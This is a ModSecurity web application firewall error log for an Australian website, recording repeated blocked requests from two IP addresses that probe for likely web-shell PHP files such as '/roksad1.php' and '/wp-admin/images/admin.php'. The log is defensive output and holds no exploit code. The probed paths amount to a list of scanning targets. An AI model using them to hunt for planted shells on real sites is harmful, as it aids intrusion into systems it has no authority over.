[Fri Apr 10 21:59:43.033962 2026] [:error] [pid 62769:tid 62783] [client 20.238.64.167:8174] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adkCT8WsSnfLoB8ifjBtVQAAAkw"]
[Fri Apr 10 21:59:43.531693 2026] [:error] [pid 62884:tid 62897] [client 20.238.64.167:8180] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adkCT-UCK1xrhnnmpo2IWAAAAsY"]
[Fri Apr 10 21:59:44.027631 2026] [:error] [pid 62710:tid 62723] [client 20.238.64.167:8113] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adkCUOME7qrf5xEWWJsiDQAAAgo"]
[Fri Apr 10 21:59:44.521531 2026] [:error] [pid 63134:tid 63153] [client 20.238.64.167:38327] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adkCUNFALqPDwWi6eJKr5QAAA9A"]
[Fri Apr 10 21:59:45.018437 2026] [:error] [pid 62710:tid 62719] [client 20.238.64.167:8132] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "adkCUeME7qrf5xEWWJsiDwAAAgY"]
[Fri Apr 10 21:59:45.511271 2026] [:error] [pid 62710:tid 62714] [client 20.238.64.167:36124] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "adkCUeME7qrf5xEWWJsiEQAAAgE"]
[Fri Apr 10 21:59:46.011837 2026] [:error] [pid 63062:tid 63078] [client 20.238.64.167:8111] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "adkCUp2HtsmV85NqkMf2qAAAA44"]
[Fri Apr 10 21:59:46.512039 2026] [:error] [pid 62769:tid 62783] [client 20.238.64.167:8087] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "adkCUsWsSnfLoB8ifjBtWgAAAkw"]
[Fri Apr 10 21:59:47.007596 2026] [:error] [pid 13189:tid 13199] [client 20.238.64.167:8098] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "adkCU5AxiJKPums3eBDOBAAAAEc"]
[Fri Apr 10 21:59:47.504761 2026] [:error] [pid 63134:tid 63146] [client 20.238.64.167:8096] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adkCU9FALqPDwWi6eJKr6AAAA8k"]
[Fri Apr 10 21:59:48.005821 2026] [:error] [pid 62769:tid 62776] [client 20.238.64.167:8171] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adkCVMWsSnfLoB8ifjBtYQAAAkU"]
[Fri Apr 10 21:59:48.503895 2026] [:error] [pid 13101:tid 13156] [client 20.238.64.167:7938] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adkCVN8Ldw85818pj2rreQAAAJc"]
[Fri Apr 10 21:59:49.002441 2026] [:error] [pid 63062:tid 63068] [client 20.238.64.167:8005] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adkCVZ2HtsmV85NqkMf2sQAAA4Q"]
[Fri Apr 10 21:59:49.497974 2026] [:error] [pid 63062:tid 63087] [client 20.238.64.167:8146] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adkCVZ2HtsmV85NqkMf2sgAAA5c"]
[Fri Apr 10 21:59:49.994764 2026] [:error] [pid 13101:tid 13148] [client 20.238.64.167:8166] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adkCVd8Ldw85818pj2rrgAAAAI8"]
[Fri Apr 10 21:59:50.499211 2026] [:error] [pid 13101:tid 13155] [client 20.238.64.167:8167] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adkCVt8Ldw85818pj2rrhgAAAJY"]
[Fri Apr 10 21:59:51.001328 2026] [:error] [pid 13101:tid 13145] [client 20.238.64.167:8175] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adkCV98Ldw85818pj2rriQAAAIw"]
[Fri Apr 10 21:59:51.496641 2026] [:error] [pid 62769:tid 62783] [client 20.238.64.167:8083] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "adkCV8WsSnfLoB8ifjBtZgAAAkw"]
[Fri Apr 10 21:59:51.993206 2026] [:error] [pid 62769:tid 62772] [client 20.238.64.167:36151] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "adkCV8WsSnfLoB8ifjBtZwAAAkE"]
[Fri Apr 10 21:59:52.484753 2026] [:error] [pid 62769:tid 62789] [client 20.238.64.167:8083] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "adkCWMWsSnfLoB8ifjBtagAAAlI"]
[Fri Apr 10 21:59:52.984393 2026] [:error] [pid 13101:tid 13155] [client 20.238.64.167:38283] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "adkCWN8Ldw85818pj2rrmgAAAJY"]
[Fri Apr 10 21:59:53.483004 2026] [:error] [pid 13101:tid 13157] [client 20.238.64.167:8069] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adkCWd8Ldw85818pj2rrngAAAJg"]
[Fri Apr 10 21:59:53.986677 2026] [:error] [pid 13101:tid 13134] [client 20.238.64.167:8066] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adkCWd8Ldw85818pj2rrowAAAIE"]
[Fri Apr 10 21:59:54.485842 2026] [:error] [pid 62769:tid 62795] [client 20.238.64.167:8086] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adkCWsWsSnfLoB8ifjBtcwAAAlg"]
[Fri Apr 10 21:59:54.988671 2026] [:error] [pid 62710:tid 62720] [client 20.238.64.167:8191] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adkCWuME7qrf5xEWWJsiHQAAAgc"]
[Fri Apr 10 21:59:55.487713 2026] [:error] [pid 62769:tid 62772] [client 20.238.64.167:8140] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "adkCW8WsSnfLoB8ifjBtdgAAAkE"]
[Fri Apr 10 21:59:55.981947 2026] [:error] [pid 13100:tid 13106] [client 20.238.64.167:8029] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "adkCW1zg-ZkZ0InWIP3DJwAAAQE"]
[Fri Apr 10 21:59:56.486792 2026] [:error] [pid 62819:tid 62845] [client 20.238.64.167:8175] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "adkCXPU20EyPf7NlsldusQAAApc"]
[Fri Apr 10 21:59:56.985457 2026] [:error] [pid 13100:tid 13116] [client 20.238.64.167:36142] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "adkCXFzg-ZkZ0InWIP3DKwAAAQs"]
[Fri Apr 10 21:59:57.490680 2026] [:error] [pid 13100:tid 13117] [client 20.238.64.167:8142] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adkCXVzg-ZkZ0InWIP3DLgAAAQw"]
[Fri Apr 10 21:59:57.998328 2026] [:error] [pid 13101:tid 13134] [client 20.238.64.167:8016] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adkCXd8Ldw85818pj2rrrAAAAIE"]
[Fri Apr 10 21:59:58.498509 2026] [:error] [pid 63134:tid 63158] [client 20.238.64.167:38309] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adkCXtFALqPDwWi6eJKr7QAAA9U"]
[Fri Apr 10 21:59:59.001403 2026] [:error] [pid 62819:tid 62837] [client 20.238.64.167:36147] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adkCXvU20EyPf7NlsldutgAAAo8"]
[Fri Apr 10 21:59:59.501638 2026] [:error] [pid 62769:tid 62772] [client 20.238.64.167:8068] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adkCX8WsSnfLoB8ifjBtfgAAAkE"]
[Fri Apr 10 22:00:00.001642 2026] [:error] [pid 63134:tid 63154] [client 20.238.64.167:8077] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adkCYNFALqPDwWi6eJKr8wAAA9E"]
[Fri Apr 10 22:00:00.497578 2026] [:error] [pid 13100:tid 13119] [client 20.238.64.167:8182] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adkCYFzg-ZkZ0InWIP3DOwAAAQ4"]
[Fri Apr 10 22:00:01.006871 2026] [:error] [pid 63134:tid 63149] [client 20.238.64.167:8156] [client 20.238.64.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adkCYdFALqPDwWi6eJKr9QAAA8w"]
[Fri Apr 10 23:46:35.072259 2026] [:error] [pid 63134:tid 63143] [client 20.251.194.172:56771] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "adkbW9FALqPDwWi6eJLP3AAAA8Y"]
[Fri Apr 10 23:46:35.647847 2026] [:error] [pid 13189:tid 13203] [client 20.251.194.172:47053] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "adkbW5AxiJKPums3eBAWyQAAAEs"]
[Fri Apr 10 23:46:36.225689 2026] [:error] [pid 13101:tid 13153] [client 20.251.194.172:25780] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "adkbXN8Ldw85818pj2oopAAAAJQ"]
[Fri Apr 10 23:46:36.896825 2026] [:error] [pid 62769:tid 62783] [client 20.251.194.172:30398] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "adkbXMWsSnfLoB8ifjDSvgAAAkw"]
[Fri Apr 10 23:46:37.464794 2026] [:error] [pid 13189:tid 13199] [client 20.251.194.172:37579] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "adkbXZAxiJKPums3eBAW0gAAAEc"]
[Fri Apr 10 23:46:38.041548 2026] [:error] [pid 62710:tid 62737] [client 20.251.194.172:36253] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "adkbXuME7qrf5xEWWJtNRwAAAhg"]
[Fri Apr 10 23:46:38.726722 2026] [:error] [pid 62769:tid 62780] [client 20.251.194.172:31940] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "adkbXsWsSnfLoB8ifjDSxQAAAkk"]
[Fri Apr 10 23:46:39.386715 2026] [:error] [pid 62769:tid 62790] [client 20.251.194.172:14606] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "adkbX8WsSnfLoB8ifjDSzgAAAlM"]
[Fri Apr 10 23:46:40.172135 2026] [:error] [pid 13189:tid 13196] [client 20.251.194.172:18256] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "adkbYJAxiJKPums3eBAW8AAAAEQ"]
[Fri Apr 10 23:46:40.829415 2026] [:error] [pid 13101:tid 13148] [client 20.251.194.172:56815] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "adkbYN8Ldw85818pj2ooswAAAI8"]
[Fri Apr 10 23:46:41.405064 2026] [:error] [pid 63134:tid 63146] [client 20.251.194.172:25656] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "adkbYdFALqPDwWi6eJLP4QAAA8k"]
[Fri Apr 10 23:46:43.789173 2026] [:error] [pid 63062:tid 63077] [client 20.251.194.172:37594] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "adkbY52HtsmV85NqkMcWVQAAA40"]
[Fri Apr 10 23:46:44.888771 2026] [:error] [pid 13101:tid 13145] [client 20.251.194.172:25630] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "adkbZN8Ldw85818pj2oo1AAAAIw"]
[Fri Apr 10 23:46:45.540468 2026] [:error] [pid 13101:tid 13154] [client 20.251.194.172:37595] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "adkbZd8Ldw85818pj2oo4AAAAJU"]
[Fri Apr 10 23:46:46.302494 2026] [:error] [pid 13101:tid 13141] [client 20.251.194.172:36278] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "adkbZt8Ldw85818pj2oo5gAAAIg"]
[Fri Apr 10 23:46:47.056645 2026] [:error] [pid 62769:tid 62779] [client 20.251.194.172:18034] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "adkbZ8WsSnfLoB8ifjDS5QAAAkg"]
[Fri Apr 10 23:46:47.719786 2026] [:error] [pid 13101:tid 13156] [client 20.251.194.172:36225] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "adkbZ98Ldw85818pj2oo8wAAAJc"]
[Fri Apr 10 23:46:48.648433 2026] [:error] [pid 62710:tid 62717] [client 20.251.194.172:25647] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "adkbaOME7qrf5xEWWJtNZAAAAgQ"]
